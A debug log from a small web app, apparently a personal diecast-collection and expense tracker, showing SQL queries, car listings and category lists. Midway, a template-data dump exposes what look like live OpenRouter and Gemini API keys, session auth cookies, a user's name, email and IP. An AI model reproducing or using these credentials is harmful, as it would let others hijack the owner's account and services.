    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:48:25.752Z server-connect:output images: { affected: 1, identity: 203 }
2026-02-04T10:48:25.752Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:48:25.752Z server-connect:output condition: undefined
2026-02-04T10:48:26.056Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:26.056Z server-connect:app Executing action step identify
2026-02-04T10:48:26.056Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:26.056Z server-connect:output identity: 1
2026-02-04T10:48:26.057Z server-connect:app Executing action step restrict
2026-02-04T10:48:26.057Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:26.057Z server-connect:output restrict: undefined
2026-02-04T10:48:26.057Z server-connect:app Executing action step paged
2026-02-04T10:48:26.057Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:26.059Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:29.034Z server-connect:router Serving templateView /diecast
2026-02-04T10:48:29.034Z server-connect:app Executing action step identify
2026-02-04T10:48:29.035Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:29.035Z server-connect:output identity: 1
2026-02-04T10:48:29.035Z server-connect:app Executing action step restrict
2026-02-04T10:48:29.035Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:29.035Z server-connect:output restrict: undefined
2026-02-04T10:48:29.035Z server-connect:router Render template layouts/main
2026-02-04T10:48:29.035Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '171',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=171&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:48:29.807Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:48:29.809Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:48:29.809Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:29.810Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:29.810Z server-connect:app Executing action step identify
2026-02-04T10:48:29.810Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:29.810Z server-connect:output identity: 1
2026-02-04T10:48:29.810Z server-connect:app Executing action step restrict
2026-02-04T10:48:29.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:29.811Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:29.811Z server-connect:output restrict: undefined
2026-02-04T10:48:29.812Z server-connect:app Executing action step select
2026-02-04T10:48:29.812Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:48:29.812Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:29.812Z server-connect:app Executing action step identify
2026-02-04T10:48:29.812Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:29.812Z server-connect:output identity: 1
2026-02-04T10:48:29.812Z server-connect:app Executing action step restrict
2026-02-04T10:48:29.812Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:29.813Z server-connect:app Executing action step identify
2026-02-04T10:48:29.813Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:29.813Z server-connect:output identity: 1
2026-02-04T10:48:29.813Z server-connect:app Executing action step restrict
2026-02-04T10:48:29.813Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:29.813Z server-connect:app Executing action step identify
2026-02-04T10:48:29.813Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:29.813Z server-connect:output identity: 1
2026-02-04T10:48:29.813Z server-connect:app Executing action step restrict
2026-02-04T10:48:29.813Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:29.813Z server-connect:app Executing action step identify
2026-02-04T10:48:29.813Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:29.813Z server-connect:output identity: 1
2026-02-04T10:48:29.813Z server-connect:app Executing action step restrict
2026-02-04T10:48:29.813Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:29.813Z server-connect:output restrict: undefined
2026-02-04T10:48:29.813Z server-connect:app Executing action step single
2026-02-04T10:48:29.813Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:48:29.813Z server-connect:output restrict: undefined
2026-02-04T10:48:29.813Z server-connect:app Executing action step select
2026-02-04T10:48:29.813Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:29.815Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:48:29.815Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:48:29.816Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:48:29.816Z server-connect:output restrict: undefined
2026-02-04T10:48:29.816Z server-connect:app Executing action step select
2026-02-04T10:48:29.816Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:29.816Z server-connect:output restrict: undefined
2026-02-04T10:48:29.816Z server-connect:app Executing action step paged
2026-02-04T10:48:29.816Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:29.817Z server-connect:app Executing action step identify
2026-02-04T10:48:29.817Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:29.817Z server-connect:output identity: 1
2026-02-04T10:48:29.817Z server-connect:app Executing action step restrict
2026-02-04T10:48:29.817Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:29.818Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:48:29.819Z server-connect:output restrict: undefined
2026-02-04T10:48:29.819Z server-connect:app Executing action step select
